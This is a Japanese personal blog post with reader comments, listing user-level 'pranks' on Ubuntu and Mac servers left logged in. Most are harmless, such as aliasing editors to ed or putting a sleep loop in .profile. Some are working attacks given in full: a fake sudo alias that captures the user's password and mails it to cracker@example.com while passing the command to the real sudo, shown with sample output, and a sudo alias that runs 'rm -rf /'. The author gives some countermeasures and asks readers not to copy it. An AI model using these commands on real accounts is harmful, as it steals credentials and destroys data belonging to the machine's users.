yuyarinの日記 このページをアンテナに追加 RSSフィード

プログラミングの話題は「yuyarinのtopcoder記」で!

僕を追いかけたい方は Twitter へ!

2009年09月05日

UNIX系OSのサーバに対するイタズラ集

随時追加


ターミナルを立ち上げたまま席を離れるとマシンにイタズラされることがよくある.とはいえシャレにならないイタズラはしても笑えないので,基本的には教育的に効果があって被害の出ないものしか実際にはしない.

じゃあ,たとえ root じゃなくてもどこまでえげつないことができるのか*1,今回はちょっと考えてみたユーザ権限でできる酷いイタズラを紹介する.対象はリモートログインする UNIXOS を利用しているサーバ,主に Ubuntu である.


ls が sl

方法
alias ls=sl

sl を期待したという意見が多かったので掲載.掲載しなかったのは sl がインストールされていない環境が多く,インストールには root 権限が必要になるから.後述のバイナリを持ち込んでパスを通す方法を使えばできないことはないかも.




エディターが全部 ed

方法
alias nano=ed
alias vim=ed
alias emacs=ed
...

ed の使い方の練習に.

参考

.bashrcにいたずらされた>< - 自称すーじー。






ログインしたらログアウトする (bash@Ubuntu)

方法

${HOME}/.bash_profile または ${HOME}/.profile に exit を書く.bashログイン時に ${HOME}/.bash_profile がなければ ${HOME}/.profile を読みに行くので,そこで exit するとログインしたのにログアウトして何も出来なくなる.実際やってみると結構シュール.

対処

rootログインして .profile を元に戻したが,Ubuntu ではデフォルトだと rootログインできないので,knoppix 等の CD ブート OS を使ってなんとかする必要がある.

備考

zsh だと .profile を読みに行かないようなので .zshrc に.



ログインするのに待たされる (bash@Ubuntu)

方法

exit するのではなく待たされるイタズラ..profile に sleep を書く.ターミナルだと Ctrl-C で中断することができるが,ssh だと ssh クライアントが殺されるので待たなければいけなくなる.

対処

実機のターミナルからログインして Ctrl+C(SIGINT) で KILL して待たずにログイン

コマンド例

86400(24時間)秒をカウントダウンするスクリプトを .profile に書き込むワンライナーコマンド.

echo "for f in \`seq 86400 -1 1\`\ndo\n\tprintf \"Please wait:%8d\\\r\" \$f\n\tsleep 1\ndone" >> .profile
for f in `seq 86400 -1 1`
do
        printf "Please wait:%8d\r" $f
        sleep 1
done

Mac だと標準入力から cron に登録できるので,1分イタズラを放置すると1分余計に待たなければいけなくなるようなイタズラができる.ワンライナーにしたらエスケープの数がシュール.ちなみに seq じゃなくて jot.

echo "* * * * * echo \"for f in \\\`jot - 60 0 -1\\\`;do printf \\\"Please Wait:\\%8d\\\\\\\\\\\r\\\" \\\$f;sleep 1;done\">>.profile"|crontab



sshログインしているシェルtty に毎分メッセージを表示する (Ubuntu)

方法

crontab に以下の記述をする.Ubuntusshログインしたシェルtty が /dev/pts/[\d] になるのでそれを w の結果から取り出して,tty に直接 echo をかます.非常に鬱陶しいけど実害はさほどない.

* * * * * echo 'Your computer has been cracked :)' > /dev/`w | awk '/pts/ {print $2;}'`
対処

crontab を編集する.




ユーザパスワードを盗んで誰かにメールする(Ubuntu/Mac)

方法

sudo コマンドを実行した時に要求されるユーザパスワードを盗む.

`read -s x` で文字を表示させずに入力させることができ,その文字列が $x に保存される.それを mail コマンド*2で攻撃者に送信する.ついでに alias を解除する.動作がおかしいと怪しまれるので,入力されたコマンドをちゃんと実行する./usr/bin/sudo とフルパスで指定すれば本当の sudo が使え,-S オプション標準入力からパスワードを入力できるので echo $x のパイプでさきほど入力されたパスワードをわたし,プロンプトが2回表示されると怪しいので -p "" オプションでプロンプトを表示しないようにする.偽の sudo に与えられた引数は,この本当の sudo に渡されるので,見た目はいつも通りの sudo ができあがる.

ただしパスワードが間違って入力されると正しいパスワードは入手できない.mail コマンドがない等,エラーが出た場合の動作は未検証.

Mac の場合は echo で表示するプロンプトを "Password:" にするとよい.Mac での動作未確認.

alias sudo="echo -n \"[sudo] password for `whoami`: \";read -s p;echo \$p|mail -s \"`whoami`@`hostname -f`'s Password\" cracker@example.com;unalias sudo;echo \$p|/usr/bin/sudo -p \"\" -S "

alias 内容

echo -n "[sudo] password for `whoami`: ";
read -s p;
echo $p | mail -s "`whoami`@`hostname -f`'s Password" cracker@example.com;
unalias sudo;
echo $p | /usr/bin/sudo -p "" -S
実行例
yuyarin:~% alias sudo="echo -n \"[sudo] password for `whoami`: \";read -s p;echo \$p|mail -s \"`whoami`@`hostname -f`'s Password\" cracker@example.com;unalias sudo;echo \$p|/usr/bin/sudo -p \"\" -S " 
yuyarin:~% which sudo
sudo: aliased to echo -n "[sudo] password for yuyarin: ";read -s p;echo $p|mail -s "yuyrin@fqdn's Password" cracker@example.com;unalias sudo;echo $p|/usr/bin/sudo -p "" -S 
yuyarin:~% sudo apt-get upgrade
[sudo] password for yuyarin: 
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています                
状態情報を読み取っています... 完了
以下のパッケージは保留されます:
  linux-image-server linux-image-xen linux-restricted-modules-xen linux-server
アップグレード: 0 個、新規インストール: 0 個、削除: 0 個、保留: 4 個。
yuyarin:~% which sudo          
/usr/bin/sudo

一見普通に sudo が使えているが,実は裏でこんなメールが飛んでいる...

To: cracker@example.com
Subject: yuyarin@fqdn's Password
Body: asdfghjkl123

本当にやることはお薦めしないが,どうしてもやるならイタズラ対象本人のメアドに送る程度で.

対処

sudo する前に which sudo で alias が貼られていないか確認する.






バイナリをすり替えられる

方法

隠しディレクトリによく使うコマンドと同じ名前のへんなバイナリを置いて,そのディレクトリをパスの先頭に通す.未検証.




sudo を実行するとシステムが破壊される

方法

sudo の alias が sudo rm -rf /.最悪.試していないのでできるのかどうかわからない.

alias sudo="/usr/bin/sudo rm -rf /;"
対処

...


備考

最近の Linux は rm -rf / をさせてくれないとか.







なんかイタズラのレベルを超えているものがあるな...よいこの大人は真似しないでね.

*1:元々はユーザ権限で実行される140字以内のワンライナーコマンドでどこまでできるかで遊んでいた.

*2:mail コマンドは Ubuntu に標準で入っていなかったような気がする(mailx パッケージからインストールできる).

librolibro 2009/09/05 09:02 先輩が研究室でほとんどのテキストエディタにエイリアスをかけたりして開けなくしていたのを思い出しました.
一番下のコマンドを卒論や修論間近にやられたら人生狂うかもしれないですね(笑

--2--2 2009/09/05 10:10 誰も笑ってくれない、訴えられたらふつうに負けそうなのばっかりですな

showyoushowyou 2009/09/05 12:28 .bashrc ってresqueモード(Redhat系だとmode2?)で起動したら回避できなかったっけ?Ubuntuはそれもできなかったかなぁ・・

hogehoge 2009/09/05 15:16 sl

suu-gsuu-g 2009/09/05 15:44 bashでは、${HOME}/.bash_profileがあれば${HOME}/.profileは読まれないことになっています。また${HOME}/.bashrcは新しいシェルを起動したときに読み込まれるもので、ログイン時には読み込まれるとは限りません。いたずらするうえで、ログイン時にログインシェルが読み込みにいくファイルの順番を知った上でイタズラ環境でのファイルを目測確認しておくことが肝要だと思います。

nukenuke 2009/09/05 16:56 alias ls exit くらいにしておいたほうがいいね。

takashyxtakashyx 2009/09/06 00:39 つくってたとき言わなかったけどメッセージのやつは
* * * * * yes "Your computer has been cracked :)"|write `whoami`
とかどうだろう。

kodukikoduki 2009/09/06 14:20 .bashrcに
alias rm=ls
rm -rf / という悪戯した時はすで怒られた...

むうむう 2009/09/13 19:53 後半はちょっと笑えない
前置きに反してますね

スパム対策のためのダミーです。もし見えても何も入力しないでください
ゲスト


画像認証